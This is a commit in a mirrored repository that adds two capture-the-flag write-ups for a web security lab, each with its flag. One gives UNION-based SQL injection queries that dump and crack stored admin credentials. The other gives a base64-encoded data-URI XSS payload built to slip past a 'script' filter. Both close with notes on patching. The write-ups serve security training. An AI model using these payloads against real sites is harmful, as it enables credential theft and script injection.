mirror of
https://github.com/tmoron/darkly.git
synced 2025-09-27 12:48:35 +02:00
+ | More flags
This commit is contained in:
43
Admin_sql_injection/README.md
Normal file
43
Admin_sql_injection/README.md
Normal file
@ -0,0 +1,43 @@
|
||||
# SQL Injection on the Sign-In Page to Get the Flag
|
||||
|
||||
## How We Found It
|
||||
We started out on the sign-in page at:
|
||||
`http://10.11.248.192/?page=signin`
|
||||
Initially, we tried to brute-force the login but ran into a built-in delay (1 second per attempt). Instead, we looked for a SQL injection vulnerability in previous members page. Using a UNION-based injection, we first enumerated the available databases with:
|
||||
|
||||
```sql
|
||||
1 UNION SELECT schema_name, NULL FROM information_schema.schemata
|
||||
```
|
||||
|
||||
This revealed a database called **Member_Brute_Force**. Next, we listed its tables by running:
|
||||
|
||||
```sql
|
||||
UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=CHAR(77,101,109,98,101,114,95,66,114,117,116,101,95,70,111,114,99,101)
|
||||
```
|
||||
|
||||
We found a table named **db_default**. To discover its structure, we enumerated its columns with:
|
||||
|
||||
```sql
|
||||
UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=CHAR(100,98,95,100,101,102,97,117,108,116) AND table_schema=CHAR(77,101,109,98,101,114,95,66,114,117,116,101,95,70,111,114,99,101)
|
||||
```
|
||||
|
||||
This revealed columns for id, username, and password. Finally, we extracted the login credentials using:
|
||||
|
||||
```sql
|
||||
UNION SELECT username, password FROM Member_Brute_Force.db_default
|
||||
```
|
||||
|
||||
The injection returned two sets of credentials:
|
||||
- **username:** root
|
||||
- **password:** 3bf1114a986ba87ed28fc1b5884fc2f8
|
||||
|
||||
- **username:** admin
|
||||
- **password:** 3bf1114a986ba87ed28fc1b5884fc2f8
|
||||
|
||||
After analyzing the hash, we figured out the actual password was "shadow". We then used the credentials **root/shadow** to sign in and got the flag.
|
||||
|
||||
## Utility of It
|
||||
This kind of SQL injection vulnerability is highly dangerous in real-world applications. By exploiting unsanitized user inputs, attackers can bypass authentication, access sensitive data, or even take over systems entirely. It’s a reminder of why securing database queries is so important.
|
||||
|
||||
## How Can We Patch It
|
||||
To prevent these attacks, always validate and sanitize user inputs. Use prepared statements or parameterized queries instead of directly building SQL strings. Additionally, limit the database privileges for the application user so that even if an injection occurs, the damage is minimized.
|
1
Admin_sql_injection/flag
Normal file
1
Admin_sql_injection/flag
Normal file
@ -0,0 +1 @@
|
||||
b3a6e43ddf8b4bbb4125e5e7d23040433827759d4de1c04ea63907479a80a6b2
|
36
XSS_bypass_encoding/README.md
Normal file
36
XSS_bypass_encoding/README.md
Normal file
@ -0,0 +1,36 @@
|
||||
# XSS Vulnerability in the Clickable Image
|
||||
|
||||
## How We Found It
|
||||
On the homepage, we noticed a clickable image that led to a strange page at:
|
||||
`http://10.11.248.192/?page=media&src=nsa`
|
||||
At first, we suspected several issues, but then we saw our input was being injected inside an object's `data` attribute.
|
||||
We tried a simple `javascript:alert(1)` payload, but it was blocked by JavaScript sanitization. Next, we exploited the unsanitized `data:text/html` scheme by injecting HTML directly for example, using:
|
||||
|
||||
```html
|
||||
data:text/html,<h1>salut</h1>
|
||||
```
|
||||
|
||||
Finally, we went for a more sophisticated payload:
|
||||
|
||||
```html
|
||||
data:text/html,<script>alert("XSS");</script>
|
||||
```
|
||||
This worked and showed an alert but didn’t trigger the flag system. We then encoded the script payload in base64 to bypass a sort of hardcoded "script" detection:
|
||||
|
||||
```html
|
||||
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
|
||||
```
|
||||
|
||||
Since the `+` character was being replaced by a space during URL encoding, we encoded the entire payload, resulting in:
|
||||
|
||||
```html
|
||||
data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ%2BCg%3D%3D
|
||||
```
|
||||
|
||||
This final payload delivered the flag.
|
||||
|
||||
## Utility of It
|
||||
XSS vulnerabilities can be extremely dangerous in real-world scenarios. They allow attackers to inject and execute arbitrary HTML or JavaScript in the browsers of other users. This can lead to session hijacking, defacement, or even full account takeover, making them a critical issue in web security.
|
||||
|
||||
## How Can We Patch It
|
||||
To fix this vulnerability, ensure that all user inputs injected into the page are properly sanitized and encoded, especially when used in sensitive attributes like `data`. Using Content Security Policy (CSP) headers can also help mitigate the impact of any XSS attacks that slip through.
|
1
XSS_bypass_encoding/flag
Normal file
1
XSS_bypass_encoding/flag
Normal file
@ -0,0 +1 @@
|
||||
928d819fc19405ae09921a2b71227bd9aba106f9d2d37ac412e9e5a750f1506d
|
Reference in New Issue
Block a user